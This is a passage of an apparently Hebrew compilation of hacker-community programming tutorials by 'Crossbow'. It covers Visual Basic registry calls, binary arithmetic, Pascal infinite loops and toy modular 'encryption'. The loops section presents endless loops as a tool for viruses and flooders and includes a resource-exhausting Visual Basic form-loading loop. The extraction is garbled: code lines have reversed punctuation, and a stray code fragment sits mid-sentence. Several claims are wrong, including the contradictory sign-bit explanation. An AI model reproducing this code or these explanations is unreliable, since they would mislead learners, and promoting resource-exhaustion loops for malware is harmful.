‫אני מקווה שאתם יודעים מה זה‪ .‬עכשיו‪ ,‬בין שתי השורות האלה יש לנו את הקוד‬
‫שלנו‪ .‬אז אתם פשוט כותבים פונקצייה מסויימת‪ .‬הפונקציות אצלנו הם אלה‪:‬‬

‫‪ - SetStringValue‬שינוי ערך של סטרינג (מחרוזת)‪.‬‬


‫‪ - GetStringValue‬קריאת ערך של סטרינג (מחרוזת)‪.‬‬
‫‪ - SetBinaryValue‬שינוי ערך בינארי‪.‬‬
‫‪ - GetBinaryValue‬קריאת ערך בינארי‪.‬‬

‫‪596‬‬
‫‪ - SetDWORDValue‬שינוי ערך של מילה כפולה‪.‬‬
‫‪ - GetDWORDValue‬קריאת ערך של מילה כפולה‪.‬‬
‫‪ - CreateKey‬יצירת קיי חדש‪.‬‬
‫‪ - DeleteKey‬מחיקת קיי חדש‪.‬‬

‫הנה דוגמא לשימוש בשתיים מתוך הפונקציות שלמעלה (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪Dim VarX‬‬
‫‪"SetStringValue "HKEY_LOCAL_MACHINE", "Crossbow", "Cool‬‬
‫‪)"VarX = GetStringValue("HKEY_LOCAL_MACHINE", "Crossbow‬‬
‫‪MsgBox VarX‬‬
‫‪End Sub‬‬

‫אם תריצו אתם תראו מילה מוחזרת‪ ,‬הערך של הקיי‪ .‬נראה שזה בעצם פשוט וקל‪,‬‬
‫אבל רק שתדעו שהדרך ארוכה‪ .‬בהתחלה אנחנו יוצרים משתנה חדש‪ .‬אחרי זה יש‬
‫לנו הכנסת ערך חדש לתוך סאבקיי מסויים‪ .‬הערך נשמר ברג'יסטרי‪ .‬אחרי זה יש‬
‫הגדרת המשתנה בתור פונקציית השגת סטרינג מתוך הרג'יסטרי בסאבקיי שמקודם‪.‬‬
‫אחרי זה‪ ,‬המשתנה כבר הוגדר‪ ,‬והפלט על המסך הוא בדיוק המשתנה‪ .‬טוב‪ ,‬אני זז‬
‫כי פשוט זה היה טקסט ארוך גם ככה‪ ,‬אני מקווה שתשתמשו בזה בחוכמה‪ ,‬והעיקר‬
‫הוא שתבינו את זה‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪597‬‬
‫חשבון בינארי‬
‫אהלן לכולם!!! עד עכשיו למדנו רובינו איך לקרוא ערכים בינאריים ולתרגם‬
‫אותם לערכים דצימליים ולהפך‪ .‬היום נעסוק בחשבון בינארי קצת יותר מתקדם‬
‫ממה שהיינו רגילים עד עכשיו‪.‬‬

‫אז מה זה בינארי‬

‫בינארי‪ ,‬למי שלא זוכר‪ ,‬זוהי שיטה לכתיבת מספרים בבסיס שתיים‪ .‬השיטה הזו‪,‬‬
‫משומשת כל הזמן במחשב‪ ,‬מכיוון שבינארי מורכב משני מספרים בלבד‪ :‬אפס ואחד‪,‬‬
‫ולזיכרון של המחשב הכי נוח לזכור בינארי‪ ,‬מכיוון שבבינארי המספר ‪ 0‬מייצג‬
‫את מצב לא פועל (‪ ,)Off‬והמספר ‪ 1‬מייצג מצב פועל (‪ .)On‬ערך בינארי במחשבים‬
‫יכול להיות רק ערך עם ‪ 32‬ספרות‪ ,‬מה שייקח ‪ 32‬ביט מהזכרון‪ .‬מכאן אפשר‬
‫להבין‪ ,‬שהמספר הדצימלי הכי ארוך שהמחשב יכול לקבל באוגר (‪ )Register‬הוא‬
‫משתנה ‪ ,Longint‬שהוא בטווח בין ‪ 2147483647‬למינוס ‪ .2147483648‬טוב‪ ,‬עכשיו‬
‫שחזרנו במהירות על נושא השיטה הבינארית‪ ,‬בואו נעבור לחשבון בינארי בסיסי‪.‬‬

‫חיבור מספרים בינאריים‬

‫טוב‪ ,‬ישנם כללים בסיסיים בחיבור מספרים בינאריים‪:‬‬

‫‪0=0+0‬‬
‫‪1=0+1‬‬
‫‪10 = 1 + 1‬‬
‫‪11 = 1 + 1 + 1‬‬

‫טוב‪ ,‬עכשיו ניקח תרגיל לדוגמא‪:‬‬

‫‪ :111000‬נשא‬
‫‪---------- -------‬‬
‫‪ :100101‬מספר ראשון‬
‫‪ :011110‬מספר שני‬
‫‪---------- -------‬‬
‫‪ :1000011‬תוצאה‬

‫מבינים? הנשא עובד בדיוק כמו בשיטה הדצימלית‪ .‬אם היה לנו מצב שיש לנו‬
‫חיבור של שני ערכי ‪ ,)1 + 1( 1‬אז נכתוב בתוצאה ‪ 0‬ובנשא הבא נכתוב את הערך‬
‫הבינארי ‪ 1‬כדי שבחיבור הבא נוכל להוסיף אותו‪.‬‬

‫‪598‬‬
‫ייצוג מספרים שליליים‬

‫בייצוג העשרוני מייצגים מספרים שליליים על ידי התו מינוס (‪ .)-‬בשיטה‬


‫הבינארית לעומת זאת‪ ,‬לא ניתן להכניס תווים‪ ,‬ולכן נצטרך להשתמש בשיטה‬
‫מסויימת כדי לייצג מספר שלילי‪ .‬בואו נחשוב‪ :‬מה המיקום שבו הספרה ‪ 0‬בתוך‬
‫הערך הבינארי לא תשפיע על התרגום לערך הדצימלי‪ .‬התשובה היא המיקום השמאלי‬
‫ביותר כמובן!!! ולכן נקבע שבשיטה הבינארית אם הספרה השמאלית ביותר היא‬
‫בעלת הערך ‪ ,0‬אז המספר שלילי‪ .‬אם הספרה השמאלית ביותר היא ‪ ,0‬אז המספר‬
‫יהיה בעל ערך חיובי‪ .‬מסקנה‪ :‬שיטה זו הגיונית מאוד‪ ,‬מכיוון שהשימוש בשיטה‬
‫זו ימנע מהמספר ‪ 0‬להיות מיוצג כשלילי (אפס הוא לא שלילי ולא חיובי)‪.‬‬

‫תכונות הערכים הבינאריים‬

‫מייצוג המספרים השליליים ובכלל מהשיטה הבינארית‪ ,‬ניתן להסיק שתי מסקנות‬
‫חשובות מאוד‪ .‬מסקנות אלה הן הגדרות הקשורות לשיטה הבינארית‪ .‬טוב‪ ,‬ההגדרה‬
‫הראשונה נקראת ‪ ,Msb‬קיצור של ‪ .Most Significent Bit‬הגדרה זו אומרת בעצם‬
‫שהסיבית (ביט) המשמעותית ביותר בערך הבינארי היא הסיבית השמאלית ביותר‬
‫בערך (שתקבע האם הערך חיובי או שלילי)‪ .‬ההגדרה השנייה בשיטה הבינארית‪,‬‬
‫נקראת ‪ ,Lsb‬קיצור של ‪ .Least Significent Bit‬הגדרה זו אומרת בעצם שהסיבית‬
‫הכי פחות משמעותית בערך הבינארי היא הסיבית הימנית ביותר (שתקבע האם הערך‬
‫הבינארי הנתון הוא זוגי או אי זוגי)‪.‬‬

‫הזזות בערכים הבינאריים‬

‫מסקנה‪ :‬אם נזיז את כל הביטים בערך הבינארי מקום אחד שמאלה ונוסיף את הערך‬
‫אפס בינארי בערך מימין‪ ,‬המספר יגדל פי שתיים‪ .‬דוגמא‪ :‬הערך הבינארי ‪100‬‬
‫בשיטה הדצימלית הוא ‪ ,4‬אבל אם נוסיף לו ‪ 0‬מימין הוא יהפוך לערך ‪,1000‬‬
‫שבשיטה הדצימלית הוא מיוצג על ידי ‪ .8‬טוב‪ ,‬עכשיו בואו ננסה הפוך‪ ,‬אז ניקח‬
‫ערך בינארי מקום אחד ימינה‪ ,‬וייתקבל החילוק שלו בשתיים‪ ,‬אבל בלי שארית‪.‬‬
‫עכשיו ניתן דוגמאות למספר זוגי שנחלק אותו בשתיים‪ ,‬ולאחר מכן ניקח מספר‬
‫אי זוגי שאותו נחלק בשתיים‪ .‬טוב‪ ,‬הערך הבינארי ‪( 1000‬שמיוצג על ידי הספרה‬
‫‪ 8‬בדצימלית)‪ ,‬יהפוך לערך ‪ ,100‬שבעצם מיוצג על ידי הספרה ‪ 4‬בדצימלי‪ .‬טוב‪,‬‬
‫דוגמא למספר אי זוגי הוא הערך הבינארי ‪( 111‬שמיוצג על ידי הספרה ‪ 7‬בשיטה‬
‫הדצימלית)‪ ,‬יהפוך לערך ‪ ,11‬שבעצם מיוצג על ידי הספרה ‪ 3‬בדצימלית‪ .‬הזזה זו‬
‫של חילוק בשתיים נקראת באנגלית ובשפות תיכנות מסויימות בשם ‪.Shift‬‬

‫מילים לסיום‬

‫אני רוצה להגיד שלא כיסינו הכל בבינארי כאן‪ ,‬עוד לא עשינו חיסור‪ ,‬וגם לא‬
‫עשינו עדיין כפל או חזקות (שבהם יש שימוש בלוגריתמים)‪ .‬בקיצר‪ ,‬יש עוד די‬
‫הרבה ללמוד‪ .‬אני מקווה שלמדתם‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪599‬‬
‫המדריך ללולאות אינסופיות‬
‫טוב‪ ,‬כידוע לכולכם‪ ,‬בעולם ההאקינג ידע בתיכנות הוא כלי חזק‪ .‬בניית סוסים‬
‫טרוייאנים‪ ,‬בניית וירוסים‪ ,‬בניית פלודרים וכאלה‪ ,‬הכל הם כלים חזקים ומאוד‬
‫מסוכנים‪ .‬ידע בתיכנות גם מעלה את הכבוד שלך בתור האקר‪ .‬לדוגמא‪ :‬אם אני‬
‫אשתמש בטרוייאני שמישהו אחר בנה‪ ,‬זה יהיה מאוד ליימרי ומאוד לא מקצועי‪.‬‬
‫איך נהפוך את זה למקצועי? נתכנת אחד משלנו‪ ,‬ונשתמש בו‪ .‬כמעט כל מה שהאקר‬
‫משתמש בו והוא תוכנה‪ ,‬הוא גם יצר אותה‪ .‬היום אני הולך ללמד אתכם כלי מאוד‬
‫חשוב בפלודרים ובוירוסים למיניהם‪ ,‬שקוראים לו לולאות אינסופיות‪ .‬במדריך‬
‫זה אני אשתמש בשפת פסקל‪ ,‬אבל משתמשי סי וסי פלוס פלוס יוכלו להבין את‬
‫העקרון (כי פסקל דומה מאוד מאוד לסי)‪ ,‬ולמשתמשי דלפי בכלל לא תהיה בעייה‪.‬‬

‫מה זאת לולאה אינסופית‬


‫טוב‪ ,‬לולאה היא חזרה מסויימת על פקודה‪ ,‬עד שקורה משהו (בדרך כלל זה תנאי‬
‫שמתקיים‪ ,‬או ספירה שהסתיימה)‪ .‬בלולאה אינסופית‪ ,‬אנחנו מגיעים למצב שבו‬
‫הלולאה נתקעת‪ .‬עכשיו‪ ,‬בשפת ויזואל בייסיק למשל‪ ,‬עשו דברים מאוד מאוד מאוד‬
‫מטומטמים‪ ,‬כמו למשל לולאה אינסופית מכוונת‪ ,‬כי בעצם מפתחי השפה בעצם בכלל‬
‫לא מעוניינים שתגרם לולאה אינסופית משימוש בשפה שלהם‪ .‬בואו נתחיל לעבוד‬
‫על לולאה בפסקל‪ .‬הנה קוד המקור (קונטרול ושיפט)‪:‬‬

‫‪;VAR VarX:longint‬‬
‫‪BEGIN‬‬
‫‪FOR VarX := 1 TO 5 DO‬‬
‫‪BEGIN‬‬
‫‪;)WriteLn ('Loop #', VarX‬‬
‫‪;END‬‬
‫‪.END‬‬

‫הסברים‬
‫הלולאה בעצם סופית‪ ,‬מסוג לולאת פור‪ .‬הלולאה משתמשת באוגר ‪ AX‬כדי לספור את‬
‫המשתנה של הלולאה (במקרה הזה‪ ,‬הוא מיוצג בשם ‪ ,)VarX‬ולהעלות אותו כל פעם‬
‫באחד‪ .‬ברגע שמתקיים השוויון ‪ VarX = 5‬אז הלולאה נגמרת‪ ,‬והתוכנית מסתיימת‪.‬‬
‫עכשיו‪ ,‬בואו נחשוב מה ייקרה אם ייתקיים שהמשתנה גדול מחמש‪ .‬נראה בעצם‬
‫מאוד בלתי אפשרי‪ ,‬אבל בת'כלס קל מאוד‪ .‬תראו את הקוד הבא (קונטרול ושיפט)‪:‬‬

‫‪;VAR VarX:longint‬‬

‫‪600‬‬
‫‪BEGIN‬‬
‫‪FOR VarX := 1 TO 5 DO‬‬
‫‪BEGIN‬‬
‫‪;)WriteLn ('Loop #', VarX‬‬
‫‪;VarX := 11‬‬
‫‪;END‬‬
‫‪.END‬‬

‫הסברים‬
‫פה הלולאה תתקע על מספר ‪ ,12‬שעבר כבר את הטווח שלה‪ .‬יכולנו להגיד לו בתוך‬
‫הלולאה שיעלה את המשתנה באחד כל פעם‪ .‬לולאה זו הייתה נראית אינסופית‪ ,‬אבל‬
‫בתיאורייה כאשר המשתנה יעבור את ‪ 2147483647‬הוא ייעבור את הגודל המקסימלי‬
‫של משתנה מסוג ‪ ,Longint‬ואז התוכנית תצא בגלל שגיאה (אין מספיק זיכרון)‪.‬‬
‫בגלל זה אנחנו משווים אותו למספר שמעל לטווח שלו‪ ,‬אבל גורמים לו להתאזן‬
‫ולא לעבור את הגבלת הזיכרון‪ .‬בואו נעבור על עוד לולאה אינסופית (קונטרול ושיפט)‪:‬‬

‫‪;LABEL 1‬‬
‫‪BEGIN‬‬
‫‪;)'.WriteLn ('You cannot stop us :1‬‬
‫‪;GOTO 1‬‬
‫‪.END‬‬

‫הסברים‬
‫אוקיי‪ .‬פה אנחנו מנצלים משהו שפשוט קיים בכל שפת תיכנות‪ ,‬לולאת תווית‪.‬‬
‫תווית היא מיקום מסויים בזיכרון של התוכנית (כמו באסמבלי)‪ .‬עכשיו‪ ,‬אנחנו‬
‫יכולים להגיד לתוכנית מתי לעבור למיקום הזה על ידי ציונו‪ .‬פה למשל‪ ,‬יש‬
‫לנו תווית שמיוצגת על ידי הספרה ‪ .1‬עכשיו‪ ,‬בתווית יש לנו מקום לשים משהו‪,‬‬
‫קריאה לפקודה למשל‪ .‬פה הפקודה היא פלט מסויים‪ .‬לאחר הפלט אנחנו עוברים‬
‫שוב לתווית‪ ,‬ואז הפלט שוב מתבצע ואז אנחנו שוב עוברים לתווית‪ ...‬אפקט זה‬
‫מתבצע בזכות העובדה שבזמן הרצה של תוכנית‪ ,‬המעבד מריץ אותה שורה אחר שורה‬
‫כך שהתוכנית נכנסת למצב שפשוט היא נתקעת‪ .‬פשוט וקל‪ .‬עוד דבר פשוט הוא‬
‫תנאי שלא מתקיים‪ .‬שימו לב לקוד המקור הבא (קונטרול ושיפט)‪:‬‬

‫‪;VAR VarX:string‬‬
‫‪BEGIN‬‬
‫‪REPEAT‬‬
‫‪;)'!!!WriteLn ('Unstopable‬‬
‫‪;'VarX := 'B‬‬
‫‪;'UNTIL VarX = 'A‬‬
‫‪.END‬‬

‫הסברים‬

‫‪601‬‬
‫פה הלולאה חוזרת על עצמה‪ ,‬עד שהתנאי ‪ 'VarX = 'A‬מתקיים‪ .‬מכיוון שהתנאי לא‬
‫יכול להתקיים (כי הוא שווה למשהו אחר)‪ ,‬הלולאה תחזור על עצמה לעולם‪ .‬עוד‬
‫לולאה דומה היא לולאה כזאת (קונטרול ושיפט)‪:‬‬

‫‪;VAR VarX:string‬‬
‫‪BEGIN‬‬
‫‪;'VarX := 'A‬‬
‫‪;)'!!!WHILE VarX = 'A' DO WriteLn ('Unstopable‬‬
‫‪.END‬‬

‫הסברים‬
‫פה זה בדיוק ההפך‪ .‬כל עוד מתקיים התנאי‪ ,‬הלולאה תמשיך‪ ,‬ולפי התוכנית שלנו‬
‫התנאי בעצם לא יישתנה‪ ,‬כך שהלולאה תהיה אינסופית‪.‬‬

‫טיפ אחרון לסיום‬


‫טוב משתמשי ויזואל בייסיק‪ ,‬אני לא אשאיר אתכם מקופחים‪ ...‬בקיצר‪ ,‬אני רוצה‬
‫להראות לכם עד כמה המפתחים של ויזואל בייסיק (מייקרוסופט) אהבלים‪ .‬תכניסו‬
‫את הקוד הבא לתוכנית שלכם (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪Do‬‬
‫‪Load Form1‬‬
‫‪Loop‬‬
‫‪End Sub‬‬

‫מילים לסיום‬

‫טוב‪ ,‬פה אני מסיים את המאמר‪ .‬אני מקווה שהבנתם כמה זה חשוב ללמוד תיכנות‬
‫בעסקי ההאקינג‪ .‬אני מזהיר אתכם עם כל הרעיון של לולאות אינסופיות‪ ,‬אחרי‬
‫שלולאה סופית רצה מספיק זמן היא דופקת לכם ת'מערכת‪ .‬טוב‪ ,‬אני מקווה שאתם‬
‫תשתמשו בידע הזה ללמידה בלבד‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪602‬‬
‫בסיס הארימטריקה המודולרית‬
‫היום אני אלמד את כולכם איך לעזאזל מתימטיקה קשורה לתיכנות‪ .‬עד היום אתם‬
‫בניתם תוכניות פשוטות‪ ,‬בלי לחשוב יותר מדי‪ ,‬הכל היה קטע גרפי בעיקר‪ ,‬ולפי‬
‫מה שראיתי עד היום‪ ,‬המקסימום שהאקר ישראלי (מהקהילה שיצרנו) בונה ואיכשהו‬
‫קשור למתימטיקה‪ ,‬הוא איזה מחשבון או מתרגם בינארי להקסדימלי‪ .‬עכשיו אנחנו‬
‫הופכים ממתכנתים מתחילים‪ ,‬למתכנתים מתקדמים‪ .‬היום אני אעבוד איתכם בשפת‬
‫פסקל‪ ,‬אבל פסקל דומה לסי‪ ,‬ודלפי פשוט בנויה על פסקל‪ ,‬כך שהעיקרון תמיד‬
‫יהיה שם‪ .‬טוב‪ ,‬מתחילים‪ .‬בתור התחלה אני אלמד אתכם שתי פונקציות מתימטיות‬
‫בתיכנות‪ :‬חילוק‪ ,‬ושארית‪.‬‬

‫חילוק‬

‫החילוק הוא הפקודה ‪ .Div‬מה שמבדיל בין החילוק הזה‪ ,‬לבין חילוק בסלאש רגיל‬
‫שעד עכשיו השתמשתם בו‪ ,‬הוא שהחילוק הזה לא מחזיר שארית‪ .‬אז‪ ,‬הנה התוצאות‪,‬‬
‫של שתי פונקציות החילוק‪ ,‬שימו לב להשוואה ביניהן (קונטרול ושיפט)‪:‬‬

‫‪)* WriteLn (5 / 4); (* 1.2500000000+E00‬‬


‫‪)* WriteLn (5 div 4); (* 1‬‬

‫מבינים? תוצאת החילוק בסלאש מחזירה שארית‪ ,‬לעומת החילוק ללא שארית‪.‬‬
‫עכשיו אנחנו נלמד את הפונקצייה המתימטית ההפוכה‪.‬‬

‫מודולו‬

‫פונקציית מודולו‪ ,‬היא הבסיס לארימטריקה המודולרית‪ .‬הפונקצייה הזו‪ ,‬היא‬


‫בעצם ההפך של החילוק שלמדנו‪ :‬אם מקודם עשינו פונקצייה שלא מחזירה שארית‪,‬‬
‫עכשיו נעשה פונקצייה שמחזירה רק שארית‪ .‬פונקצייה זו היא ‪ .Mod‬מפה‪ ,‬אפשר‬
‫להגיע למסקנה‪ :‬פונקציית חילוק הסלאש‪ ,‬בנויה משני חלקים‪ :‬פונקציית חילוק‬
‫ללא שארית ‪ +‬פונקציית מודולו‪ .‬הנה דוגמאות לפונקציית מודולו (קונטרול ושיפט)‪:‬‬

‫‪)* WriteLn (8 mod 4); (* 0‬‬


‫‪)* WriteLn (10 mod 6); (* 4‬‬

‫שימו לב כי כמו בחילוק רגיל‪ ,‬בפונקציית מודולו הלוגריתם לא יכול להיות‬

‫‪603‬‬
‫אפס‪ ,‬כי החילוק באפס אסור‪ .‬לדוגמא‪ ,‬השורה הבאה תחזיר שגיאה מספר ‪:200‬‬

‫‪)* WriteLn (1000 mod 0); (* Error #200: Division by zero‬‬

‫מבחן עצמי‬

‫המון חומר עכשיו עכלתם‪ ,‬ובשביל שתהיו קצת יותר בטוחים בעצמכם‪ ,‬בניתי לכם‬
‫מבחן קטן‪ ,‬שקשור בשתי הפונקציות שלמדנו‪ .‬הזמן למבחן הוא ‪ 40‬דקות‪ ,‬אין‬
‫להריץ את התוכנית עד שלא סיימתם לכתוב‪ .‬המבחן כולל שתי שאלות‪:‬‬

‫שאלה ראשונה‬

‫כתבו תוכנית הכותבת משוואת כפל המקבלת שתי מספרים‪ ,‬ומחזירה שארית‪ .‬דוגמא‬
‫לפלט על המסך‪:‬‬

‫‪33 = 10 * 3 + 3‬‬
‫‪100 = 50 * 2 + 0‬‬

‫שאלה שנייה‬

‫כתבו תוכנית המקבלת שני מספרים‪ ,‬מחברת אותם ואז מחזירה את השארית שלהם‬
‫כפונקצייה כחילוק במכפלתם‪ .‬דוגמא לפלט על המסך‪:‬‬

‫‪)* 10 ,10 *( 0‬‬


‫‪)* 15 ,15 *( 15‬‬

‫הנה התשובות‬

‫טוב‪ ,‬לא ציפיתם להישאר תקועים‪ .‬יכול להיות שהתשובות שלכם קצת שונות‪ ,‬אבל‬
‫כל עוד זה פועל‪ ,‬זה טוב‪ ,‬אבל התוכניות שיוצגו כאן חוסכות בכוח מכונה‪.‬‬

‫שאלה ראשונה‬
‫(קונטרול ושיפט)‬
‫‪;VAR VarX, VarY:longint‬‬
‫‪BEGIN‬‬
‫‪;)':WriteLn ('Write the first number‬‬
‫‪;)ReadLn (VarX‬‬
‫‪;)':WriteLn ('Write the second number‬‬
‫‪;)ReadLn (VarY‬‬
‫‪;))WriteLn ((VarX * VarY) mod (VarX + VarY‬‬
‫‪.END‬‬

‫שאלה שנייה‬
‫(קונטרול ושיפט)‬
‫‪;VAR VarX, VarY:longint‬‬
‫‪BEGIN‬‬
‫‪;)':WriteLn ('Write the first number‬‬
‫‪;)ReadLn (VarX‬‬
‫‪;)':WriteLn ('Write the second number‬‬
‫‪;)ReadLn (VarY‬‬

‫‪604‬‬
‫‪;)WriteLn ((VarX mod VarY), ' + ', (VarX div VarY), ' * ', VarY, ' = ', VarX‬‬
‫‪.END‬‬

‫הצפנה בעזרת פונקציית מודולו‬

‫חשבתם על זה שבעזרת פונקציית מודולו אפשר לעשות הצפנה? אפשר ליצור‬


‫אלגוריתם פשוט‪ ,‬ובעזרתו להצפין וגם לפענח טקסטים‪ .‬אני אתן לכם פה דוגמא‬
‫טובה לאלגוריתם פשוט של הצפנת מספרים‪.‬‬

‫ההצפנה‬

‫טוב‪ ,‬פה אנחנו נצפין רק מספרים‪ ,‬אבל יש לנו בעייה‪ :‬אסור לעשות פונקציית‬
‫מודולו באפס‪ ,‬וגם באחד‪ ,‬כי מודולו באחד הוא תמיד אפס‪ ,‬כי כל מספר מתחלק‬
‫באחד בלי שארית‪ .‬אז האלגוריתם הוא ככה (קונטרול ושיפט)‪:‬‬

‫‪f(n) = 87 mod m‬‬


‫‪m <> 0, m <> 1‬‬

‫והנה תהיה ההצפנה בקוד פסקל מלא‪:‬‬


‫(קונטרול ושיפט)‬
‫‪;USES Crt‬‬
‫‪;Var VarX, VarY:byte‬‬
‫‪BEGIN‬‬
‫‪;ClrScr‬‬
‫‪;)':WriteLn ('Insert a number‬‬
‫‪REPEAT‬‬
‫‪;)ReadLn (VarX‬‬
‫‪;)UNTIL (VarX > -1) AND (VarX < 10‬‬
‫‪IF VarX = 0 THEN‬‬
‫‪;Exit‬‬
‫‪;END‬‬
‫‪IF VarX = 1 THEN‬‬
‫‪BEGIN‬‬
‫‪;)'WriteLn ('f(1) = Y‬‬
‫‪;Exit‬‬
‫‪;END‬‬
‫‪;VarY := 87 mod VarX‬‬
‫‪;)WriteLn ('f(', VarX, ') = ', VarY‬‬
‫‪.END‬‬

‫הסבר‬

‫התוכנית מנקה את המסך‪ ,‬אחר כך פותחת לולאה שתחזור על עצמה עד שהמשתנה‬


‫שמגדירים בתוך הלולאה יהיה בין אפס לתשע‪ .‬אחרי הלולאה‪ ,‬אנחנו אומרים שאם‬
‫הספרה היא אפס‪ ,‬אז לאחר הפונקצייה של ההצפנה‪ ,‬התוצאה תהיה ‪ .X‬לאחר מכן‪,‬‬
‫במידה והספרה היא אחד‪ ,‬אז לאחר הפונקצייה של ההצפנה‪ ,‬התוצאה תהיה ‪ .Y‬לאחר‬
‫מכן‪ ,‬במידה והספרה היא לא אפס או אחד‪ ,‬אז התוצאה תהיה השארית של הספרה‬
‫כפונקצייה של חילוק במספר ‪ .87‬המספר ‪ 87‬אינו נבחר באופן שרירותי‪ ,‬חשוב‬
‫שהמספר יתחלק בכמה שפחות מספרים בשארית אפס‪ ,‬ועדיף שהמספר יהיה אפילו‬
‫ראשוני‪ .‬מספר ראשוני‪ :‬מספר שפונקציית המודולו שלו בכל מספר שהוא לא אחד‪,‬‬

‫‪605‬‬
‫אפס‪ ,‬או הוא עצמו מחזיר שארית שאיננה שווה לאפס‪ ,‬או במשוואה מתימטית (קונטרול‬
‫ושיפט)‪:‬‬

‫‪n mod e <> 0‬‬


‫‪e <> 0, e <> 1, e <> n‬‬

‫הפיענוח‬

‫הפענוח הוא פעולה הפוכה להצפנה‪ .‬אם בהצפנה קודם קיבלנו ספרה‪ ,‬לאחר מכן‬
‫אנחנו יישמנו פונקציית מודולו‪ ,‬ולאחר מכן הוצאנו תוצאה מוצפנת‪ ,‬אז לשם‬
‫פיענוח נצטרך לקבל תוצאה מוצפנת‪ ,‬ליישם פונקצייה ההפוכה לפונקציית ההצפנה‬
‫שהיא בעצם פונקצייה מודולרית‪ ,‬ואז להוציא את התוצאה‪ .‬במקרה זה לפיענוח‬
‫אין פתרון‪ ,‬מכיוון שיש שני מקרים שההצפנה מחזירה ערך של ‪ .3‬לא לכל סוגי‬
‫ההצפנות יש פתרון‪ ,‬ולפעמים משתמשים בפונקציות ובמשוואות הפוכות מסובכות‬
‫מאוד‪ ,‬ואפילו מתמטיקאים בטכניון וכל אלה שוברים ת'ראש על אלגוריתם אחד‪.‬‬

‫מילים לסיום‬

‫זה היה הבסיס לארימטריקה מודולרית‪ .‬אני מקווה שהיום הוכחתי לכם שמחשבים‬
‫זה הרבה יותר מגרפיקה ממש ממש ממש טובה וכמה תוכניות שבנויות ממספר קטן‬
‫מאוד של שורות‪ ,‬כמו תוכניות בנות שמונים שורות‪ .‬אני נותן פה אתגר לכולכם‪:‬‬
‫בנו תוכנית המצפינה את כל סוגי האסקיי במקלדת‪ .‬התוכנית תהיה בנויה בפסקל‪,‬‬
‫ותכלול קוד מקור‪ .‬כל קוד מקור מוזמן להישלח אליי לאי מייל‪ .‬אתם תצטרכו‬
‫ידע מסויים בקי אסקיי‪ ,‬ארימטריקה מודולרית בסיסית‪ ,‬וידע למתחילים בפסקל‪.‬‬
‫הרעיון הוא לא על היכולת הגרפית של התוכנה (כי אז היינו משתמשים בסי פלוס‬
‫פלוס או ויזואל בייסיק)‪( ,‬קונטרול ושיפט)‬
‫‪BEGIN‬‬
‫‪;)'WriteLn ('f(0) = X‬‬
‫אלא על ההצפנה עצמה ועל שימוש בכמה שפחות זיכרון‬
‫לביצוע שיטת ההצפנה‪ .‬אם אתם שולחים אליי‪ ,‬בבקשה‪ ,‬כתבו בנושא ההודעה ‪.Cross‬‬
‫רמז‪ :‬נסו להשתמש בפונקצייה מסויימת שמחזירה את ערך האסקיי של תו כלשהו‪.‬‬

‫שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪606‬‬
‫אריתמטקה מודולרית מתקדמת‬
‫טוב‪ ,‬היום אני הולך ללמד אתכם אריתמטיקה מודולרית מתקדמת‪ .‬היום אנחנו‬
‫נמציא שיטת הצפנה חדשה בעזרת האריתמטיקה המודולרית‪ .‬עכשיו‪ ,‬שיטת הצפנה‬
‫עובדת עם איזון מסויים‪ :‬ככל שהטקסט גדול יותר‪ ,‬ההצפנה טובה יותר‪ .‬עכשיו‪,‬‬
‫מכיוון שאנחנו לא רוצים שכל אות בטקסט שלנו תהפוך למאה אותיות‪ ,‬ואנחנו גם‬
‫לא רוצים שאנשים ייגלו את האלגוריתם שלנו בקלות‪ ,‬נבדוק מה אנחנו צריכים‬
‫שיהיה באות מוצפנת‪ .‬עכשיו‪ ,‬ישנם ‪ 255‬תווים בתוך טבלת האסקיי‪ ,‬ומכיוון‬
‫שאנחנו משתמשים באריתמטיקה מודולרית‪ ,‬אנחנו צריכים למצוא מספר (שאותו אני‬
‫אייצג כאן בתור ‪ ,)X‬שיחזיר את הערך של המודולו (שארית) מערך האסקיי של‬
‫האות הנתונה‪ .‬עכשיו יש לנו ברשימה שלושה שלבים‪ :‬הפיכת האות לערך אסקיי‪,‬‬
‫הצפנת ערך האסקיי על ידי אריתמטיקה מודולרית‪ ,‬והצגת האות שהתקבלה מהערך‬
‫המוצפן‪ .‬עכשיו עלתה בעייה‪ :‬אם נגיד ניקח מספר ‪( X‬שיחזיר את השארית מערך‬
‫האסקיי של האות)‪ ,‬הוא יהיה צריך להיות מספר שמחזיר שארית שונה לגבי כל‬
‫ערך אסקיי נתון‪ .‬כלומר‪ ,‬אסור שיהיו שני ערכים מוצפנים שווים‪ .‬אחרי המון‬
‫המון המון חיפושים נואשים של מספר כזה‪ ,‬גיליתי והוכחתי בדרך אלגברית שלא‬
‫קיים בכלל מספר כזה‪ .‬טוב‪ ,‬הנה ההוכחה‪ .‬אני מזכיר שהמספר הוא ייוצג באות‬
‫האנגלית ‪ ,X‬ולאחר ההוכחה הסברים‪:‬‬

‫‪x mod 1 = 0‬‬


‫‪x mod 2 = 1‬‬
‫‪x mod (x - 1) = 1‬‬

‫הסברים‬

‫כאן ההסבר הוא במקרה שהמספר ‪ X‬הוא אי זוגי‪ .‬השארית של כל מספר מאחד תהיה‬
‫תמיד אפס‪ ,‬השארית של כל מספר זוגי משתיים תמיד תהיה אחד‪ .‬השארית של כל ‪X‬‬
‫מערך הקטן מהערך ‪ X‬באחד (כל עוד ‪ X‬גדול מאחד) תהיה אחד‪ .‬נסו להציב מספר‬
‫טבעי שגדול מאחד ולבדוק‪ .‬עכשיו יכולה להשאל השאלה מה קורה כאשר ‪ X‬הוא‬
‫מספר זוגי? עכשיו‪ ,‬הנה ההוכחה לזה‪:‬‬

‫‪x mod 1 = 0‬‬


‫‪x mod 2 = 0‬‬

‫‪607‬‬
‫הסברים‬

‫כאן ההסבר ברור‪ .‬אם ‪ X‬הוא זוגי אז השארית של המספר שתיים ממנו הוא אפס‪,‬‬
‫וגם השארית של המספר אחד ממנו הוא אפס‪ .‬כפילות היא דבר אסור בהצפנה‪ ,‬כי‬
‫המפרש לא יידע איזה ערך אסקיי הוא יכניס במקום הערך הכפול‪ .‬עכשיו‪ ,‬אנחנו‬
